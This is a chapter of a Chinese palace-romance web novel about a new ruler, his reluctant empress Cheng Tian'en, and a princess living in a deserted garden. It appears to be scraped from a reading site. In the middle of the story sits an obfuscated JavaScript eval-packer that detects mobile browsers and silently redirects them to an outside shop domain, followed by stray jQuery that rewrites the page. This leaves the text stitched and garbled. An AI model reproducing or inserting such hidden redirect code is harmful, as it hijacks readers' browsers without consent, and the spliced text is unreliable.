本来是要把她囚禁起来,一日日地去给她些光亮和依托,慢慢地让她爱上自己的。
谁知道,她根本没有想象中的难以交心,她似乎一早就、从五年前就开始接受了他。
哪怕只是一点点的喜欢,也会让他方寸大乱,变得...越来越不敢直视她的目光。
回去以后,他试图回凤栖宫看望程天恩。
这是他与程天恩大婚之后,第一次回这里。
至今,他都还没有同她同房,始终秉承着以往相处时的恭敬和尊重。
程天恩没想到今夜陛下会突然来访,她独自坐在灯下,看着娄家人今天进宫偷偷捎给她的一只小巧的竹编蜻蜓发呆。
她与娄敬成成亲两载,不曾爱过那是假的。
他们从小一起长大,青梅竹马,娄家又是继程家外,在北国最有威望的世家之一,倘若她爹不是为了要拉拢新君,兴许,她也不用和离。
娄敬成在外头养了外室,伤过她心不假,但后来她查清楚,是那个女人处心积虑,暗算在先,娄郎向来是清正君子,既然有孕了,就不能不负责任,但他又怕伤她的心,这才会一直放在外边的。
本来她已经想原谅娄敬成,无奈被她爹一句“女儿,该你为家族奉献的时候了”,就逼离了她和娄敬成。
当年老国君有看上她,想她当穆亦寒的皇子妃,可她根本就不愿意嫁给一个,在山野出身,连字都不认识几个的寒门皇子。
现在这位寒门皇子虽然当上新君,可她心底深处,始终觉得他卑贱,骨子里的血卑贱,就是不如娄敬成好。
“皇后...”
新君从身后进来,程天恩赶紧擦干眼泪,将竹编蜻蜓放入袖中。
“陛下...你终于来了...”
程天恩扑进他怀里,用头蹭着他。
穆亦寒下意识地推开了一步,把她拉正。
“陛下你...”程天恩怔了怔,“你以前,天天都偷跑出宫,去丞相府找妾,一天见不着妾,你就对门口的人又打又咬的...可如今你,好像不一样了。”
那时候,穆亦寒正逢失意,被程天恩奉命救下了他,他见她字写得格外漂亮,人也格外有学识,便一天天地跑去找她,央求着她教他识文断字、读书作画。
那时候他痛失最爱,想着人生最大的遗憾,就是不能让她看着自己变得越来越厉害,成为她喜欢的样子。
所以,那个时候,每天去找程天恩教导功课,是他唯一想做、和支撑着他活下去的事情。
“孤知道,”灯火通亮的凤栖宫内,一切都那么金碧堂皇,闪亮耀人,闪耀得他忍不住眯眼,
“皇后嫁过来,其实并不情愿。孤也...不会强迫皇后的,毕竟,当年皇后对孤有天大的恩情,你想要什么,孤会尽力给你的。”
他一副难以靠近的样子,程天恩一时之间有些委屈,声音便哑了,“陛下...还是爱着南国公主,是吧?”
“就算妾长得有几分像她,那始终也只是个替代品罢了...根本,撼动不了正主...”
穆亦寒皱起了眉,“你...并没有半分像她啊。”
正委屈着落泪的程天恩怔了怔,“陛下你...为什么要说谎呢?当初若不是妾长得像你的心上人,陛下又怎么会巴巴地每天跑去找妾?”
当年,刚接回来的储君蒙难,程相就是了解过这位储君的一切,知道自己的小女儿长得有几分像南国公主,想要讨好这位储君,看看日后能不能派上用场,这才叫她去救的。
“孤是真的,觉得你长得没有一分相像。”穆亦寒很认真地皱紧眉头道。
“她的眼睛,不笑的时候是一泓安静的湖泊,倒映着月亮,笑的时候则是欢畅流淌的河流,里面有细碎的星星和萤火,不是你这样的。”
“鼻子的地方也不像,她的比较小巧,且高挺,嘴巴是像花瓣一样的,你这形状也不对,怎么就像了呢?孤可从来没说过你像她,这样的话啊...”
程天恩被说得脸青一阵红一阵,委屈且隐忍地咬唇,“谢...谢谢陛下,妾知道陛下是想说,妾并没有一分像南国公主,所以陛下为了妾空置后宫,废除皇后,迎娶妾进宫,并没有半分是因为妾是替身的缘故。”
穆亦寒点点头,“是的。你们俩根本是完全不同的两个人,孤从没有过任何一分觉得你们相似的地方。”
“如果非要说相似的地方,”他思忖片刻,“可能就你们的小名读起来有些像吧。”
程天恩高兴了,过来挽住新君手臂,可不知为何,穆亦寒被她一触碰到衣袖,下意识就后退了几步,甩开了她的手。
程天恩愣住。
穆亦寒没想到会伤害到她,抱歉道:“孤一开始就同你说好了,只要你配合孤,孤会让你在后宫独宠的,娄家那边...孤自会打点。”
“那...看来从头到尾是妾误会了,”她笑,“妾以为陛下说的配合,是配合陛下摆脱程家的掌控,妾以为自己成了陛下的妻子,以陛下为重是应该的,妾自己也不想被程家掌控。”
“孤知道,晚晚你还是放不下娄敬成的,当年老国君想撮合你我的时候,孤就看出来了,所以孤也跑去跟老国君说了。”
程天恩瞪大眼睛,“所以,当年是陛下主动拒婚的?”
当年娄家同程家的关系已经够稳固,程天恩的姑母就是娄家的主母,根本没有必要再嫁一个幼女去拉拢娄家的关系,但当时老国君仅剩一条血脉,虽然是寒门血脉,但却是最有可能继任下一任国君的,程家自然愿意牺牲一个幼女去扶持这个寒门皇子。
程相是懂得雪中送炭比锦上添花要好的道理的。
可就是因为后来老国君突然改变主意,婚事不成,程家才会将她嫁到娄家。
虽然程天恩当年也是不愿嫁他,但她没想到,去找老国君收回成命的人竟是他,她一直以来都把他当成是自己求而不得的爱慕者,却不料他原来根本不愿娶自己,这个落差一下来,她竟觉得委屈上了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266503|136282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>泪水一滴滴落下:“陛下你可知...晚晚身为程家女,倘若不能真的得到陛下宠爱,晚晚将会失去程家庇护,晚晚嫁进中宫...不是为了给陛下当挡箭牌,更不是...来这里听陛下说一堆抱歉啊什么补偿的话的,晚晚是要来得宠的,晚晚当年救了陛下,可陛下你...想置晚晚于何地?”
“那你觉得,孤要如何做,才能偿还你的恩情?”穆亦寒问。
程天恩擦干泪水,坚定道:“陛下你...给妾一个孩子,那样,妾就保证绝不反对陛下宠幸南国公主,妾也绝不去打扰你们。”
穆亦寒沉吟片刻,“可孤...不会宠幸她。”
“晚晚可知,娄敬成的那个外室,是原先程相养在醉红坊的人?”
·
襄芙在永巷的怡芳园里过着种菜种花的怡然生活。
菜种和花种是她让小沧带给她的,她在这里有什么需要的,就让他晚上带过来。
一想起小沧,她内心就有说不尽的甜蜜和安稳。
记得有一天晚上,她等了他很久没来,她就一不小心睡过去了,睡着后她又做起过去五年来一直在做的噩梦。
她梦见被烧惨死的狼群,梦见坠到悬崖底下的沧浪君,梦见自己满手血腥,被他指着骂她是个势力的女人,他咬牙切齿,说会恨她一辈子,说她此生也别想消除罪孽。
然后她当场崩溃大哭起来,随后很快,她感受到黑暗中有人抱着她,喊她名字。
她醒来,发现小沧回来了,他眼神忧虑地问她怎么了,得知她梦中的一切后,他立马就抱住了她,然后低哑道:“傻子!像我这么笨的人,你就是杀了我,我也会原谅你的。更何况...”
他欲言又止,最后只是轻拍着她后背道:“总之你要记得,我的命在你还记不得我以前,就已经是你的了,为了你,我甘愿付出一切,就算你有罪孽,那就以后由我来背着,我来替你还...”
什么在她记不得他以前...她就知道他是故意说夸张了来哄她,但他确实已经没怪她,她还是能感受到,并且慢慢地,心头积压多年无人能倾诉出去的阴霾,就真的就这样轻轻地散去了。
后来的日子里,这种噩梦一次也没有梦见过。
她看着脚底下这片泥土,甜蜜地笑了好久,她不知道自己会在这座荒弃的园子生活多久,不过,她想让两个人的生活过得稍微惬意一些。
年少时她喜欢看一些归隐田居式的游记,在书中学习一些野外生存技能,以前在宫中终日不是为了成为南国第一公主的名声而努力,就是有各种规矩束缚着,那些在黑水森林弄一顿都要亲力亲为的日子早已远去。
可现在,她又能亲自鼓捣试试了。
她在无人的园子里,再也不怕被人说不庄重,捋起了衣袖,在泥地里小心翼翼翻着土。
翻着翻着,她突然感觉心口一阵刺痛,她昏过去之前,短暂地看见一些幻影。
幻影中,有人告诉她,这只是一场彻头彻尾的骗局。